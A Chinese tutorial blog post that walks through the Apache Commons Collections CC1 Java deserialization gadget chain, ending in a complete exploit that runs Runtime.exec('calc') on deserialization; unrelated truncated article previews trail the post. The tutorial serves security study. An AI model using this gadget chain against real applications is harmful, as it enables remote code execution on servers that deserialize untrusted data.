[Java安全入门]三.CC1链
1.前言
Apache Commons Collections是一个扩展了Java标准库里的Collection结构的第三方基础库,它提供了很多强大的数据结构类型和实现了各种集合工具类。Commons Collections触发反序列化漏洞构造的链叫做cc链,构造方式多种,这里先学习cc1链。
2.环境
jdk-8u65
Commons Collections3.2.1
3.分析
3.1基础链子
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;public class Cc1 {public static void main(String[] args) {ChainedTransformer chain = new ChainedTransformer(new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null,new Object[0] }),new InvokerTransformer("exec",new Class[] { String.class }, new Object[]{"calc"})});chain.transform(123);}
}
3.2分析几个重要的接口和类
Transformer接口
public interface Transformer {Object transform(Object var1);
}
这个接口其实就是一个转换器,完成不同的数据类型转换
ConstantTransformer类
public class ConstantTransformer implements Transformer, Serializable {private static final long serialVersionUID = 6374440726369055124L;public static final Transformer NULL_INSTANCE = new ConstantTransformer((Object)null);private final Object iConstant;public static Transformer getInstance(Object constantToReturn) {return (Transformer)(constantToReturn == null ? NULL_INSTANCE : new ConstantTransformer(constantToReturn));}public ConstantTransformer(Object constantToReturn) {this.iConstant = constantToReturn;}public Object transform(Object input) {return this.iConstant;}public Object getConstant() {return this.iConstant;}
}
该类实现Transformer接口,其构造器将传入的参数传递给iConstant变量,类里面的transform方法将iConstant的值返回。如果传入参数是一个恶意对象,当调用transform的时候就可能会产生不好结果。
InvokerTransformer类
该类也实现了Transformer接口
看其构造器
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {super();iMethodName = methodName;iParamTypes = paramTypes;iArgs = args;}
第一个参数为方法,第二个参数为传入的参数数组,第三个参数为对象数组
该类的transform方法可以执行任意方法
public Object transform(Object input) {if (input == null) {return null;}try {Class cls = input.getClass();Method method = cls.getMethod(iMethodName, iParamTypes);return method.invoke(input, iArgs);} catch (NoSuchMethodException ex) {throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");} catch (IllegalAccessException ex) {throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");} catch (InvocationTargetException ex) {throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);}}
其中return method.invoke(input,iArgs)是实现反序列化漏洞的关键,通过放射获取input的类,然后调用该类的iMethodName方法。
ChainedTransformer类
ChainedTransformer implements Transformer, Serializable {/** Serial version UID */private static final long serialVersionUID = 3514945074733160196L;/** The transformers to call in turn */private final Transformer[] iTransformers;/*** Factory method that performs validation and copies the parameter array.* * @param transformers the transformers to chain, copied, no nulls* @return the <code>chained</code> transformer* @throws IllegalArgumentException if the transformers array is null* @throws IllegalArgumentException if any transformer in the array is null*/public static Transformer getInstance(Transformer[] transformers) {FunctorUtils.validate(transformers);if (transformers.length == 0) {return NOPTransformer.INSTANCE;}transformers = FunctorUtils.copy(transformers);return new ChainedTransformer(transformers);
该类也实现了Transformer接口
看其构造器
public ChainedTransformer(Transformer[] transformers) {super();iTransformers = transformers;}
iTransformers为其传入的参数,是一个接口类型的数组
看其transform方法
public Object transform(Object object) {for (int i = 0; i < iTransformers.length; i++) {object = iTransformers[i].transform(object);}return object;}
该方法会遍历所有接口类型数组,然后调用其transform方法,并且结构作为下一次循环的参数
3.3过程分析
hainedTransformer chain = new ChainedTransformer(new Transformer[] ...)
最外层是实例化一个ChainedTransformer类,参数是一个Transformer接口类数组。
new ConstantTransformer(Runtime.class)
第一个类是ConstantTransformer,构造时传入了一个Runtime类,所以ConstantTransformer.iConstant=Runtime.class
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},new Object[]{"getRuntime", new Class[0]})
第二个类是InvokerTransformer类,构造时,方法名为传入的是getMethod,参数类型传入的是String类型和Class[]类型,参数为getRuntime和一个空的Class类型数组
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,new Object[0]})
第三个类还是InvokerTransformer类,传入的方法名是invoke,参数类型是Object类型和Object数组类型,第一个参数是null,第二个参数是空的Object数组
new InvokerTransformer("exec",new Class[] { String.class }, new Object[]{"calc"})}
第三个类还是InvokerTransformer类,传入的方法名是exec,参数类型是String类型,参数值是calc
chain.transform(123);
传入这些有transformer接口的类之后,执行ChainedTransformer里面的transform方法实现命令执行
仔细分析chain.transform方法
public Object transform(Object object) {for (int i = 0; i < iTransformers.length; i++) {object = iTransformers[i].transform(object);}return object;}
遍历传入所有类的transform方法
Ⅰ.执行ConstantTransformer.transform,返回Runtime.class Object=Runtime.class.
public ConstantTransformer(Object constantToReturn) {super();iConstant = constantToReturn;}
Ⅱ.执行InvokerTransformer.transform,input为Runtime.class,先反射获取这个类,Class cls=input.getClass(),然后cls就变成了Class类,无法直接通过getMethod获取getRuntime方法,所以通过嵌套,让method写成getMethod方法,然后invoke的时候再对Runtime.class调用getRuntime方法,这样object就变成了Runtime.getRuntime
Class cls = input.getClass();Method method = cls.getMethod(iMethodName, iParamTypes);return method.invoke(input, iArgs);
Ⅲ.input为Runtime.getRuntime,同样通过嵌套,先使method为invoke方法,然后再对 Runtime.getRuntime使用invoke(method)调用exec方法,参数为calc,然后弹出计算器
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);

4.找利用链
4.1 TransformedMap
已知InvokerTransformer类可以调用transform方法执行命令,那接下来的思路就是寻找还有其他什么地方调用了InvokerTransformer类的transform方法,并且最终通过readObject重写进行反序列化

主要是其中三个Map类
先看TransformedMap
protected Object transformKey(Object object) {if (keyTransformer == null) {return object;}return keyTransformer.transform(object);}protected Object checkSetValue(Object value) {return valueTransformer.transform(value);}
两个方法都调用了transform方法,这里利用checkSetValue()
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {super(map);this.keyTransformer = keyTransformer;this.valueTransformer = valueTransformer;}
构造器接受三个参数,第一个是Map类型,然后两个Transformer类型,Map可以利用在上一篇URLDNS里面利用的HashMap,其重写了readObject方法。
keyTransformer和valueTransformer都是protected类型,不能在外部调用,所以要找TransformedMap什么方法调用了构造函数
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {return new TransformedMap(map, keyTransformer, valueTransformer);}
巧的是decorate调用了构造函数
然后找哪里调用了TransformedMap类的checkSetValue方法
发现在AbstractInputCheckedMapDecorator类的继承类Mapentry调用了checkSetValue
static class MapEntry extends AbstractMapEntryDecorator {/** The parent map */private final AbstractInputCheckedMapDecorator parent;protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {super(entry);this.parent = parent;}public Object setValue(Object value) {value = parent.checkSetValue(value);return entry.setValue(value);}}
更好的是AbstractInputCheckedMapDecorator是TransformedMap类的父类
public class TransformedMapextends AbstractInputCheckedMapDecorator
AbstractMapEntryDecorator又引入了Map.Entry接口,只要进行常用的Map遍历,就可以调用setValue(),然后就能调用checkSetValue
4.2简单例子
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;public class Cc1 {public static void main(String[] args) throws IllegalAccessException, NoSuchMethodException{InvokerTransformer invokerTransformer=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});//先构造一个invokerHashMap hashMap=new HashMap();//用HashMap传入decoratehashMap.put(1,1);Map<Object,Object> transformedMap=TransformedMap.decorate(hashMap,null,invokerTransformer);//构造好TransformedMap,现在需要触发checkSetValue并把指令传进去Runtime cmd=Runtime.getRuntime();for(Map.Entry entry:transformedMap.entrySet()){entry.setValue(cmd);}//通过遍历Map,调用setValue触发checkSetValue}
}

然后再找哪里调用了setValue方法
发现 AnnotationInvocationHandler 类的readObject方法调用了setValue,非常nice
private void readObject(java.io.ObjectInputStream s)throws java.io.IOException, ClassNotFoundException {s.defaultReadObject();// Check to make sure that types have not evolved incompatiblyAnnotationType annotationType = null;try {annotationType = AnnotationType.getInstance(type);} catch(IllegalArgumentException e) {// Class is no longer an annotation type; time to punch outthrow new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");}Map<String, Class<?>> memberTypes = annotationType.memberTypes();// If there are annotation members without values, that// situation is handled by the invoke method.for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {String name = memberValue.getKey();Class<?> memberType = memberTypes.get(name);if (memberType != null) { // i.e. member still existsObject value = memberValue.getValue();if (!(memberType.isInstance(value) ||value instanceof ExceptionProxy)) {memberValue.setValue(new AnnotationTypeMismatchExceptionProxy(value.getClass() + "[" + value + "]").setMember(annotationType.members().get(name)));}}}}
}
String name = memberValue.getKey();
AnnotationInvocationHandler 类并不是public类型,无法在外面通过名字调用,要用反射调用这个类
看构造函数
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {Class<?>[] superInterfaces = type.getInterfaces();if (!type.isAnnotation() ||superInterfaces.length != 1 ||superInterfaces[0] != java.lang.annotation.Annotation.class)throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");this.type = type;this.memberValues = memberValues;}
接受两个参数,一个class对象,class对象继承了Annotation,需要传入一个注解类,另一个参数 Map对象,而且readObject里面有对map的遍历,所以可以传入我们的Transformed类
如何反射获取AnnotationInvocationHandler 类,看下面代码
Class cls=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor constructor=cls.getDeclaredConstructor(Class.class,Map.class);constructor.setAccessible(true);Object annotationConstructor=constructor.newInstance(Target.class,transformedMap);
4.3三个问题
1.Runtime类不可以序列化
2.执行setValue需要满足两个条件
3.setValue的值如何控制
问题1.Runtime类不可以序列化,但是Class可以序列化,需要用反射,用我们之前最基础的链子即可
Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);//chainedTransformer.transform(Runtime.class);
问题2.两个if条件
if (memberType != null) { // i.e. member still existsObject value = memberValue.getValue();if (!(memberType.isInstance(value) ||value instanceof ExceptionProxy))
memberType 不为空,注解类传入target就不会空
问题3.利用ConstantTransformer传值解决
5.最终exp
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;public class Cc1 {public static void main(String[] args) throws Exception {Transformer[] Transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};//调用含参构造器传入Transformer数组,然后调用transform方法,这里对象只需要传一个原始的Runtime就行,因为其他都是嵌套的。ChainedTransformer chainedTransformer = new ChainedTransformer(Transformers);//chainedTransformer.transform(Runtime.class);Map<Object, Object> hashMap = new HashMap<>();//用HashMap传入decoratehashMap.put("value", 1);Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);//构造好TransformedMap,现在需要触发checkSetValue并把指令传进去Class AnnotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor annotationInvocationHandlerConstructor = AnnotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class);annotationInvocationHandlerConstructor.setAccessible(true);Object obj = annotationInvocationHandlerConstructor.newInstance(Target.class, transformedMap);ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("tao.txt"));out.writeObject(obj);//序列化ObjectInputStream in = new ObjectInputStream(new FileInputStream("tao.txt"));in.readObject();//反序列化// Runtime cmd=Runtime.getRuntime();//for(Map.Entry entry:transformedMap.entrySet())//{// entry.setValue(cmd);//}//通过遍历Map,调用setValue触发checkSetValue}}
相关文章:
[Java安全入门]三.CC1链
1.前言 Apache Commons Collections是一个扩展了Java标准库里的Collection结构的第三方基础库,它提供了很多强大的数据结构类型和实现了各种集合工具类。Commons Collections触发反序列化漏洞构造的链叫做cc链,构造方式多种,这里先学习cc1链…...
为什么虚拟dom比真实dom更快
虚拟DOM(Virtual DOM)之所以在某些情况下比直接操作真实DOM更快,主要有以下几个原因: 批量更新:虚拟DOM可以将多个DOM操作批量更新为一次操作。当需要对真实DOM进行多次修改时,直接操作真实DOM会导致浏览器…...
力扣---腐烂的橘子
题目: bfs思路: 感觉bfs还是很容易想到的,首先定义一个双端队列(队列也是可以的~),如果值为2,则入队列,我这里将队列中的元素定义为pair<int,int>。第一个int记录在数组中的位…...
【开源物联网平台】FastBee使用EMQX5.0接入步骤
🌈 个人主页:帐篷Li 🔥 系列专栏:FastBee物联网开源项目 💪🏻 专注于简单,易用,可拓展,低成本商业化的AIOT物联网解决方案 目录 一、将java内置mqtt broker切换成EMQX5…...
【数学】【组合数学】1830. 使字符串有序的最少操作次数
作者推荐 视频算法专题 本博文涉及知识点 数学 组合数学 LeetCode1830. 使字符串有序的最少操作次数 给你一个字符串 s (下标从 0 开始)。你需要对 s 执行以下操作直到它变为一个有序字符串: 找到 最大下标 i ,使得 1 < i…...
算法(数据结构)面试问题准备 二分法/DFS/BFS/快排
一、算法概念题 1. 二分法 总结链接几种查找情况的模板另一个好记的总结总结:搜索元素两端闭,while带等,mid1,结束返-1 搜索边界常常左闭右开,while小于,mid看边界开闭,闭开,结束i…...
Unity3d C#实现文件(json、txt、xml等)加密、解密和加载(信息脱敏)功能实现(含源码工程)
前言 在Unity3d工程中经常有需要将一些文件放到本地项目中,诸如json、txt、csv和xml等文件需要放到StreamingAssets和Resources文件夹目录下,在程序发布后这些文件基本是对用户可见的状态,造成信息泄露,甚至有不法分子会利用这些…...
解释一下分库分表的概念和优缺点。如何设计一个高性能的数据库架构?
解释一下分库分表的概念和优缺点。 分库分表是数据库架构优化的常见手段,主要用于解决单一数据库或表在数据量增大、访问频率提高时面临的性能瓶颈和扩展性问题。 概念: 分库(Sharding-Database): 将原本存储在一个…...
功能强大使用简单的截图/贴图工具,PixPin
一、下载链接 PixPin 截图/贴图/长截图/文字识别/标注 | PixPin 截图/贴图/长截图/文字识别/标注 (pixpinapp.com) 二、功能 截图/贴图/长截图/文字识别/标注 三、安装教程 根据提示安装即可: 四、快捷键 1.软件自带快捷键(右击PixPin查看 )…...
机器学习周报第32周
目录 摘要Abstract一、文献阅读1.论文标题2.论文摘要3.论文背景4.论文方案4.1 多视角自注意力网络4.2 距离感知4.3 方向信息4.4 短语模式 二、self-attention 摘要 本周学习了多视角自注意力网络,在统一的框架下联合学习输入句子的不同语言学方面。具体来说&#x…...
人工智能|机器学习——DBSCAN聚类算法(密度聚类)
1.算法简介 DBSCAN(Density-Based Spatial Clustering of Applications with Noise)是一种基于密度的聚类算法,簇集的划定完全由样本的聚集程度决定。聚集程度不足以构成簇落的那些样本视为噪声点,因此DBSCAN聚类的方式也可以用于异常点的检测。 2.算法原…...
Excel F4键的作用
目录 一. 单元格相对/绝对引用转换二. 重复上一步操作 一. 单元格相对/绝对引用转换 ⏹ 使用F4键 如下图所示,B1单元格引用了A1单元格的内容。此时是使用相对引用,可以按下键盘上的F4键进行相对引用和绝对引用的转换。 二. 重复上一步操作 ⏹添加或删除…...
前端实现跨域的六种解决方法
本专栏是汇集了一些HTML常常被遗忘的知识,这里算是温故而知新,往往这些零碎的知识点,在你开发中能起到炸惊效果。我们每个人都没有过目不忘,过久不忘的本事,就让这一点点知识慢慢渗透你的脑海。 本专栏的风格是力求简洁…...
macOS上实现「灵动岛」效果
自从Apple iPhone推出了「灵动岛」功能后,用户们就被其优雅的设计和强大的功能所吸引。然而,作为macOS用户,我们一直在等待这一功能能够在我们的设备上实现。现在,随着新的应用程序的推出,我们终于可以在我们的Mac上体…...
幕译--本地字幕生成与翻译--Whisper客户端
幕译–本地字幕生成与翻译 本地离线的字幕生成与翻译,支持GPU加速。可免费试用,无次数限制 基于Whisper,希望做最好的Whisper客户端 功能介绍 本地离线,不用担心隐私问题支持GPU加速支持多种模型支持(中文、英语、日…...
链表基础知识详解
链表基础知识详解 一、链表是什么?1.链表的定义2.链表的组成3.链表的优缺点4.链表的特点 二、链表的基本操作1.链表的建立2.链表的删除3.链表的查找4.链表函数 一、链表是什么? 1.链表的定义 链表是一种物理存储单元上非连续、非顺序的存储结构…...
GPT-prompt大全
ChatGPT目前最强大的的工具是ChatGPT Plus,不仅训练数据更新到了2023年,而且还可以优先访问新功能。对于程序员来说,升级到ChatGPT Plus,将会带来更多的便利和效率提升。 根据 升级ChatGPT Plus保姆级教程,1分钟就可以…...
的发射点2
☞ 通用计算机启动过程 1️⃣一个基础固件:BIOS 一个基础固件:BIOS→基本IO系统,它提供以下功能: 上电后自检功能 Power-On Self-Test,即POST:上电后,识别硬件配置并对其进行自检,…...
深入揭秘Lucene:全面解析其原理与应用场景(一)
本系列文章简介: 本系列文章将深入揭秘Lucene,全面解析其原理与应用场景。我们将从Lucene的基本概念和核心组件开始,逐步介绍Lucene的索引原理、搜索算法以及性能优化策略。通过阅读本文,读者将会对Lucene的工作原理有更深入的了解…...
拿捏算法的复杂度
目录 前言 一:算法的时间复杂度 1.定义 2.简单的算法可以数循环的次数,其余需要经过计算得出表达式 3.记法:大O的渐近表示法 表示规则:对得出的时间复杂度的函数表达式,只关注最高阶,其余项和最高阶…...
UE5 学习系列(二)用户操作界面及介绍
这篇博客是 UE5 学习系列博客的第二篇,在第一篇的基础上展开这篇内容。博客参考的 B 站视频资料和第一篇的链接如下: 【Note】:如果你已经完成安装等操作,可以只执行第一篇博客中 2. 新建一个空白游戏项目 章节操作,重…...
脑机新手指南(八):OpenBCI_GUI:从环境搭建到数据可视化(下)
一、数据处理与分析实战 (一)实时滤波与参数调整 基础滤波操作 60Hz 工频滤波:勾选界面右侧 “60Hz” 复选框,可有效抑制电网干扰(适用于北美地区,欧洲用户可调整为 50Hz)。 平滑处理&…...
盘古信息PCB行业解决方案:以全域场景重构,激活智造新未来
一、破局:PCB行业的时代之问 在数字经济蓬勃发展的浪潮中,PCB(印制电路板)作为 “电子产品之母”,其重要性愈发凸显。随着 5G、人工智能等新兴技术的加速渗透,PCB行业面临着前所未有的挑战与机遇。产品迭代…...
Python:操作 Excel 折叠
💖亲爱的技术爱好者们,热烈欢迎来到 Kant2048 的博客!我是 Thomas Kant,很开心能在CSDN上与你们相遇~💖 本博客的精华专栏: 【自动化测试】 【测试经验】 【人工智能】 【Python】 Python 操作 Excel 系列 读取单元格数据按行写入设置行高和列宽自动调整行高和列宽水平…...
(二)TensorRT-LLM | 模型导出(v0.20.0rc3)
0. 概述 上一节 对安装和使用有个基本介绍。根据这个 issue 的描述,后续 TensorRT-LLM 团队可能更专注于更新和维护 pytorch backend。但 tensorrt backend 作为先前一直开发的工作,其中包含了大量可以学习的地方。本文主要看看它导出模型的部分&#x…...
【Web 进阶篇】优雅的接口设计:统一响应、全局异常处理与参数校验
系列回顾: 在上一篇中,我们成功地为应用集成了数据库,并使用 Spring Data JPA 实现了基本的 CRUD API。我们的应用现在能“记忆”数据了!但是,如果你仔细审视那些 API,会发现它们还很“粗糙”:有…...
C# SqlSugar:依赖注入与仓储模式实践
C# SqlSugar:依赖注入与仓储模式实践 在 C# 的应用开发中,数据库操作是必不可少的环节。为了让数据访问层更加简洁、高效且易于维护,许多开发者会选择成熟的 ORM(对象关系映射)框架,SqlSugar 就是其中备受…...
NLP学习路线图(二十三):长短期记忆网络(LSTM)
在自然语言处理(NLP)领域,我们时刻面临着处理序列数据的核心挑战。无论是理解句子的结构、分析文本的情感,还是实现语言的翻译,都需要模型能够捕捉词语之间依时序产生的复杂依赖关系。传统的神经网络结构在处理这种序列依赖时显得力不从心,而循环神经网络(RNN) 曾被视为…...
USB Over IP专用硬件的5个特点
USB over IP技术通过将USB协议数据封装在标准TCP/IP网络数据包中,从根本上改变了USB连接。这允许客户端通过局域网或广域网远程访问和控制物理连接到服务器的USB设备(如专用硬件设备),从而消除了直接物理连接的需要。USB over IP的…...
代码随想录刷题day30
1、零钱兑换II 给你一个整数数组 coins 表示不同面额的硬币,另给一个整数 amount 表示总金额。 请你计算并返回可以凑成总金额的硬币组合数。如果任何硬币组合都无法凑出总金额,返回 0 。 假设每一种面额的硬币有无限个。 题目数据保证结果符合 32 位带…...
